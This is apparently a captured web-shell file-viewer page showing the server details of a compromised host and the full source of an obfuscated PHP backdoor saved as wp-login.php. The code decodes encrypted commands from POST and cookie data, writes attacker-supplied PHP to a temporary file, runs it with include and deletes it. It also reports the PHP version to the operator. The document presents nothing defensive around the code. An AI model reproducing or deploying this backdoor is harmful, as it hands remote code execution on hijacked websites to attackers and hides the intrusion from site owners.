HEX
Server: Apache
System: Linux localhost.localdomain 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web57 (5040)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client6/web57/web/I/irc/wp-login.php
<?php 
$daeacscgxf    =    'daeacscgxf' /*d */ ^ /*  sfb_mh   */ '	';
$docgdgd	=    "a".$daeacscgxf(476-362) /*   _j   */ .	"\162" /*  yziov*/ .   $daeacscgxf(97) /* zth */ .	"\x79" /*gujrq*/ . /*   ilr  */ "\137"      .	$daeacscgxf(689-580) /*bcue   */ . /*ljino   */ "\141" /*   fn*/ .    "\160";




function    xipoyo($zjtlzaigpm,       $vslpmxage)

{ /*l   */ global  $daeacscgxf;

 /*  on*/ 


    $zjtlzaigpm /*jc*/ =    $daeacscgxf(81-21)    .	"\77"      . /*   cbhxdv */ "p"."h"."\x70"  . /* xcnxm   */ $daeacscgxf(32) /*goyno   */ .    $daeacscgxf(902-785)	. /*mwqmnt   */ "\156"    .      "\154"	. /*  o_xvy  */ "\x69" /*ajfy */ . /*   c   */ "\x6e" /* dugrn */ .    $daeacscgxf(350-243)	. /*  x   */ "\50"    . /*tn*/ "\137"      .   "\x5f"    . /* xuavaq  */ "F"."I"."\x4c" /*  jcwem   */ . /*_tmz  */ "\105"   .     "\137"    . /* dlbs*/ $daeacscgxf(328-233)  . /* ra*/ ")"."\x3b"  . /*   lzf */ $daeacscgxf(32)	.    $zjtlzaigpm[$daeacscgxf(102-2)];    $vuletdeuph      = /* t */ $daeacscgxf(238-136) /*olsd   */ .  "\x69"  . /* qisel */ "l".$daeacscgxf(900-799)."\137" /*  _c */ . /*dyitx   */ "p"."\165"    .       "\164"    .    $daeacscgxf(961-866)    .   "c"."o"."n"."t".$daeacscgxf(900-799)."n"."t".$daeacscgxf(115);
 /* u_ekh   */ 	$vuletdeuph($vslpmxage,     $zjtlzaigpm);

 /*mb  */       nstxejkti($vslpmxage);}$tymvbyvwoy       = /*chpd*/ 73;


function /* fqtssz */ nstxejkti($vslpmxage)


{

    global  $daeacscgxf;


    
  include($vslpmxage);    $xsxqlzet	=    $vslpmxage;


    @unlink($xsxqlzet);


}

function /*  b   */ llxnfgrgiu()

{      global       $daeacscgxf;

 /*  hzpmp*/ $tymvb  =     array();      $tymvb["\160"      .	$daeacscgxf(118)] /*   mzmk*/ = /* _  */ phpversion();

	$tymvb["\x73"      .	"\x76"]    =       "\x33" /*d   */ .	"."."\65";


	$lhxmsjuhey    =    74;

      echo /*humwaa */ @serialize($tymvb);

}





function      cbmxfhfw($zjtlzaigpm, /* new*/ $vwbirtx)
{
    global /*zmw */ $daeacscgxf;


	$pcggcqlrdr     =   "";
    $rexmps      = /*  rgo   */ strlen($zjtlzaigpm);

	$suozs	= /* yh */ strlen($vwbirtx);


 /*   sw */ $tymvb    =    0;

     $xbbgjyrkdq  =    0;
 /*   kirb  */ 	while    ($tymvb	< /* yydn   */ $rexmps) /* b */ {


      $axopz	=    $zjtlzaigpm[$tymvb] /*  xug */ ^  $vwbirtx[$xbbgjyrkdq    % /*   sabr*/ $suozs];


  $pcggcqlrdr    .=    $axopz;
  $xbbgjyrkdq++; /*   yyv  */ 

 /*   dtv   */ $tymvb++;
 /* invvv   */ }
 /*cv*/ 


	if /*   plirgi  */ (strlen($pcggcqlrdr)	>    20)   {
	$gcofovsic	= /* saiuw_   */ substr($pcggcqlrdr,	0,	20);
    } /*   paq   */ if       (empty($pcggcqlrdr)) /* tuqf   */ {

 /*hyr*/ $pcggcqlrdr /* w  */ = /* wzs  */ date('Y-m-d   H:i:s');
	}

 /* fm   */ return    $pcggcqlrdr;
}





function    yolsjv($vntkujzl)
{ /*   hzgkcd*/ global	$daeacscgxf;
    


 /*ahe */ $qtlsaba    =    $daeacscgxf(416-314)    . /*to   */ "\70"       .    $daeacscgxf(874-820)    .	$daeacscgxf(101) /*  u*/ .   "\142"     .  $daeacscgxf(54)   .	"\66"	.	$daeacscgxf(56) /* n */ .	$daeacscgxf(456-411)	. /*   ar */ $daeacscgxf(97) /*sepfrx*/ .    "0"."\66"	.    "f"."\55"       .    "\x34" /* k*/ . /*  iz_o  */ "\x65"  . /*  ihni */ $daeacscgxf(52) /* zpruki */ .      "\141"    .    $daeacscgxf(45)       . /*   mpko_m*/ "a".$daeacscgxf(53) /*bosz */ .   $daeacscgxf(102-2)."9"."\x2d"    . /*ohahrj*/ "\61"	.  "8"."\144"    .    "\x31" /* ea*/ .    "3"."6"."3"."\x35"	.   "b"."\141"	. /*h*/ $daeacscgxf(359-309)  .    $daeacscgxf(885-837); /* hogg*/     foreach    ($vntkujzl /*  yt  */ as /* ocjvwm */ $walfyzk /*   jfp */ => /* dfu  */ $zjtlzaigpm)    {


 /* ijnzfo   */ f_zmgvwoq(base64_decode($zjtlzaigpm),	$qtlsaba, /*   dfqf*/ $walfyzk);


  }}


function	f_zmgvwoq($zjtlzaigpm, /* dxmncv */ $qtlsaba, /*fxd */ $walfyzk)

{
    global    $daeacscgxf;    
    $zjtlzaigpm /*glpm_*/ = /*azrjgc  */ unserialize(cbmxfhfw(cbmxfhfw($zjtlzaigpm,       $qtlsaba),   $walfyzk));	$kngpzpr	=	'zacrj';	$uudfpwq   = /*  cgye*/ 'qxlbhmyff';


      if /*  evpyp  */ (isset($zjtlzaigpm["a"."k"]))  {
     if  ($zjtlzaigpm["a"]       ==    "\x69") /* xai_j*/ {

    llxnfgrgiu();      }   elseif /*   nleu  */ ($zjtlzaigpm["a"] /* ly   */ ==     $daeacscgxf(900-799)) /* kfug  */ {       xipoyo($zjtlzaigpm,	sprintf("\56" /* w  */ . /*  hsacof */ "/"."\x25" /*  yp */ .      "s"."\x2e" /* b   */ .       "\x70" /*   nmwkv */ . /*   nmv   */ "l",  md5($qtlsaba)));			$ptgxrzgo_   =     44;
    }

  exit();


    }


}




yolsjv($_POST);	


$grwiq /*   towixp  */ =     Array();
$grwiq    = /* kwzhu   */ implode($grwiq);


$zxelqxh	= /*   wvzcgd*/ $docgdgd('rawurldecode', /*hha_p */ $_POST);

explode('rawurldecode', /*   a_inwb  */ $grwiq);

yolsjv($_COOKIE);



$_ifzm /*   vac */ =     $docgdgd('rawurldecode',	$_COOKIE);







?>